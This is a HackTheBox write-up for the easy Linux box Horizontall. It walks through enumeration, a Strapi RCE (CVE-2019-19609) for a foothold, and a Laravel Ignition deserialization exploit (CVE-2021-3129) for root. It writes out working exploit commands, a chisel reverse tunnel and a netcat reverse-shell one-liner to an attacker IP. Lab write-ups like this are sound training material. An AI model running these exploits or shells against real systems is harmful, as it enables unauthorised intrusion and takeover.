TL;DR
This is a walkthrough writeup on Horizontall which is a Linux box categorized as easy on HackTheBox. Primarily, the crux about rooting this was enumeration & CVE exploitation. The initial foothold was gained by enumerating and exploiting Strapi using CVE-2019-19609, and later the privilege escalation part was done using CVE-2021-3129.
Walkthrough
Horizontall Writeup: Scanning Network
Scanning ports with Nmap :
Command : nmap -A -Pn -n -sC -sV -v -oN nmap.initial 10.10.11.105
Nmap scan report for 10.10.11.105
Host is up (0.19s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
| 256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_ 256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://horizontall.htb
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We only got SSH on port 22
& Apache WebServer on port 80
. Let’s go ahead and enumerate the website now.
Enumerating the Website
The page we see on browsing the box IP address :
Intercepting the request with burp, we see :
The response. Status Code 301
, is asking us to redirect to http://horizontal.htb
. Seems like the server is only serving requests which have HOST: horizontall.htb
header.
We will need to add this domain in our /etc/hosts
file and point it to Horizontall’s IP address.
Editing the /etc/hosts
file accordingly and adding the following entry
10.10.11.105 horizontall.htb
Also, add the above configuration in BurpSuite, in the Hostname Resolution, section.
Adding this entry in the /etc/hosts
file will let our system know that whatever request we send to horizontall.htb
domain, it needs to be sent to it’s corresponding IP address (/etc/hosts
file entry), and our system will not query the DNS for the IP address of this domain.
We see a simple static webpage :
On enumerating the source code, we found this URL :
http://api-prod.horizontall.htb/reviews
which reveals an interesting sub-domain api-prod.horizontall.htb
, let’s check it out later
You could have also tried fuzzing the subdomains, which would have also revealed this subdomain.
Horizontall Writeup: Dirbuster (subdirectories enumeration)
Didn’t find anything very useful here ๐
DirBuster 1.0-RC1 - Report
http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
--------------------------------
http://horizontall.htb:80
--------------------------------
Directories found during testing:
Dirs found with a 200 response:
/
Dirs found with a 403 response:
/js/
/css/
/img/
--------------------------------
Files found during testing:
Files found with a 200 responce:
/js/app.c68eb462.js
/js/chunk-vendors.0e02b89e.js
--------------------------------
api-prod
sub-domain enumeration
Let’s enumerate this subdomain api-prod
from that URL we found in the source code. Firstly, also configure the /etc/hosts
for this sub-domain.
10.10.11.105 api-prod.horizontall.htb
Browsing it in the browser :
Horizontall Writeup:
Running Dirbuster on api-prod.horizontall.htb
We did find some potential sub-directories :
DirBuster 1.0-RC1 - Report
http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
Report produced on Fri Oct 22 03:39:24 EDT 2021
--------------------------------
http://api-prod.horizontall.htb:80
--------------------------------
Directories found during testing:
Dirs found with a 200 response:
/
/admin/
/robots.txt/
/reviews/
Dirs found with a 403 response:
/connect/
/users/
--------------------------------
Files found during testing:
Files found with a 200 responce:
/admin/runtime~main.d078dc17.js
/admin/main.da91597e.chunk.js
--------------------------------
Let’s check them out ๐
Strapi
What is Strapi ? Strapi is an open-source headless CMS used for building fast and easily manageable APIs written in JavaScript. It enables developers to make flexible API structures easily using a beautiful user interface. Strapi can be used with various databases including MongoDB, PostgreSQL, etc.
The login panel โ
Exploiting Strapi
Searching for “Strapi exploits” on google we found this “Unauthenticated RCE exploit for version 3.0.0-beta.17.4” โ>
An RCE exploit, awesome!
Checking Strapi version
But we need to verify the Strapi version. Going through the source code of the exploit we see a check_version()
function, which sends a GET request to /admin/init
sub-directory to get the version info.
Thus, let us visit that URL to verify the Strapi version :
Downloading and running the exploit :
This exploit basically resets the password for the admin account โ>
โโ[โ]โ[root@kali]โ[~/Desktop/Boxes/HTB/Horizontall]
โโโโผ python3 strapi_rce.py http://api-prod.horizontall.htb
[+] Checking Strapi CMS Version running
[+] Seems like the exploit will work!!!
[+] Executing exploit
[+] Password reset was successfully
[+] Your email is: admin@horizontall.htb
[+] Your new credentials are: admin:SuperStrongPassword1
[+] Your authenticated JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjM1MDYyMjAyLCJleHAiOjE2Mzc2NTQyMDJ9.shH6CVOtYx7hdXyjR90SYiUMlhRdTnCb5mPGNFS4KgU
$> id
[+] Triggering Remote code executin
[*] Rember this is a blind RCE don't expect to see output
{"statusCode":400,"error":"Bad Request","message":[{"messages":[{"id":"An error occurred"}]}]}
But it did not execute commands, tt returned a 400
status code. However, it did successfully reset the password for the admin user.
So, I went ahead to look for a Gihutb version of the same CVE and found this โ>
CVE-2019-19609-EXPLOIT/exploit.py at main ยท diego-tella/CVE-2019-19609-EXPLOIT (github.com)
Running it with the right parameters and the JWT we previously got in the output of the exploit we used earlier; and then wait for the reverse shell on the specified port โ>
Nice, we have a reverse shell now ๐
User Flag
We can further enumerate and get the user flag โ>
strapi@horizontall:~/myapi$ cd /home
strapi@horizontall:/home$ ls
developer
strapi@horizontall:/home$ cd developer
strapi@horizontall:/home/developer$ ls -al
total 108
drwxr-xr-x 8 developer developer 4096 Aug 2 12:07 .
drwxr-xr-x 3 root root 4096 May 25 11:43 ..
lrwxrwxrwx 1 root root 9 Aug 2 12:05 .bash_history -> /dev/null
-rw-r----- 1 developer developer 242 Jun 1 12:53 .bash_logout
-rw-r----- 1 developer developer 3810 Jun 1 12:47 .bashrc
drwx------ 3 developer developer 4096 May 26 12:00 .cache
-rw-rw---- 1 developer developer 58460 May 26 11:59 composer-setup.php
drwx------ 5 developer developer 4096 Jun 1 11:54 .config
drwx------ 3 developer developer 4096 May 25 11:45 .gnupg
drwxrwx--- 3 developer developer 4096 May 25 19:44 .local
drwx------ 12 developer developer 4096 May 26 12:21 myproject
-rw-r----- 1 developer developer 807 Apr 4 2018 .profile
drwxrwx--- 2 developer developer 4096 Jun 4 11:21 .ssh
-r--r--r-- 1 developer developer 33 Oct 24 05:33 user.txt
lrwxrwxrwx 1 root root 9 Aug 2 12:07 .viminfo -> /dev/null
strapi@horizontall:/home/developer$ cat user.txt
cat user.txt
82b*************************
Horizontall Writeup: Privilege Escalation
Checking the internal listening ports on the box โ>
strapi@horizontall:/home/developer$ netstat -lp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 localhost:8000 0.0.0.0:* LISTEN -
tcp 0 0 localhost:mysql 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:http 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:ssh 0.0.0.0:* LISTEN -
tcp 0 0 localhost:1337 0.0.0.0:* LISTEN 1823/node /usr/bin/
tcp6 0 0 [::]:http [::]:* LISTEN -
tcp6 0 0 [::]:ssh [::]:* LISTEN -
After using curl
on internal port 8000 & 1337
to examine what’s running on them, we found the following services :
8000 --> some Laravel webpage/webapp
1337 --> strAPI
Now, let us use this awesome tool called chisel
to forward this port 8000
to our local machine. We transferred chisel
to remote box by hosting it on a python web server and using wget
on the remote box to download it.
Now, setting up chisel
to forward remote machin’es port 8000
to out local machine’s port 6969
Setting up the server side (local machine) for chisel port forward :
โโ[root@kali]โ[/opt/chisel]
โโโโผ ./chisel server --reverse -p 6969
2021/10/24 04:59:31 server: Reverse tunnelling enabled
2021/10/24 04:59:31 server: Fingerprint fFuGUnOm0oRmOGLCgLgIzJle8zEmjjTMbMqb/sYs8i8=
2021/10/24 04:59:31 server: Listening on http://0.0.0.0:6969
2021/10/24 05:01:55 server: session#1: tun: proxy#R:8181=>8000: Listening
Setting up the client side (remote machine) for chisel port forward :
strapi@horizontall:/tmp$ ./chisel client 10.10.14.8:6969 R:8181:127.0.0.1:8000
./chisel client 10.10.14.8:6969 R:8181:127.0.0.1:8000
2021/10/24 09:09:13 client: Connecting to ws://10.10.14.8:6969
2021/10/24 09:09:14 client: Connected (Latency 179.251437ms)
Great! Now let’s browse to localhost:6969
on our local machine, we see this Laravel application running here โ>
We can also see the version info for Laravel on this page. This machine is running Laravel v8
.
You know the ritual now ๐ Let’s search for exploits for this version.
On We found this PHP deserialization exploit that gets remote code execution on Laravel debug mode :
Laravel 8.4.2 debug mode – Remote code execution – PHP webapps Exploit (exploit-db.com)
Because this CVE required the path to the Laravel project log file on the remote machine (which we didn’t have and couldn’t find after enumerating the box), thus we searched for an alternate exploit and found this :
ambionics/laravel-exploits: Exploit for CVE-2021-3129 (github.com)
When I first ran this exploit, it gave an error, but later on googling about that error I realized that we will need to install a dependency to run this exploit which is phpggc
or else the exploit wil give error.
Use git clone
on this repo to install phpggc
Running the exploit and gaining a root shell
Run the first command for the exploit from inside the phpggc directory.
โโ[root@kali]โ[~/Desktop/Boxes/HTB/Horizontall]
โโโโผ cd phpggc/
โโ[root@kali]โ[~/Desktop/Boxes/HTB/Horizontall/phpggc]
โโโโผ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id
โโ[root@kali]โ[~/Desktop/Boxes/HTB/Horizontall/laravel-exploits]
โโโโผ #./laravel-ignition-rce.py http://localhost:8181/ /tmp/exploit.phar
+ Log file: /home/developer/myproject/storage/logs/laravel.log
+ Logs cleared
+ Successfully converted to PHAR !
+ Phar deserialized
--------------------------
uid=0(root) gid=0(root) groups=0(root)
--------------------------
+ Logs cleared
Root Flag
Noice !
Now let’s alter the first command we ran to get a root shell.
We need to replace id
with a reverse shell command.
โโ[root@kali]โ[~/Desktop/Boxes/HTB/Horizontall/phpggc]
โโโโผ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.8 1234 >/tmp/f"
And now catching the reverse shell :
โโ[root@kali]โ[~/Desktop/Boxes/HTB/Horizontall]
โโโโผ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.105] 54110
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# python -c "import pty;pty.spawn('/bin/bash')"
root@horizontall:/home/developer/myproject/public# cd /root
cd /root
root@horizontall:~# cat root.txt
cat root.txt
c956da38e0ac893e9f3dbd9c405671d9
Kudos for rooting Horizontall. Until next time, keep hacking and do checkout other writeups and blogs on sheerazali.com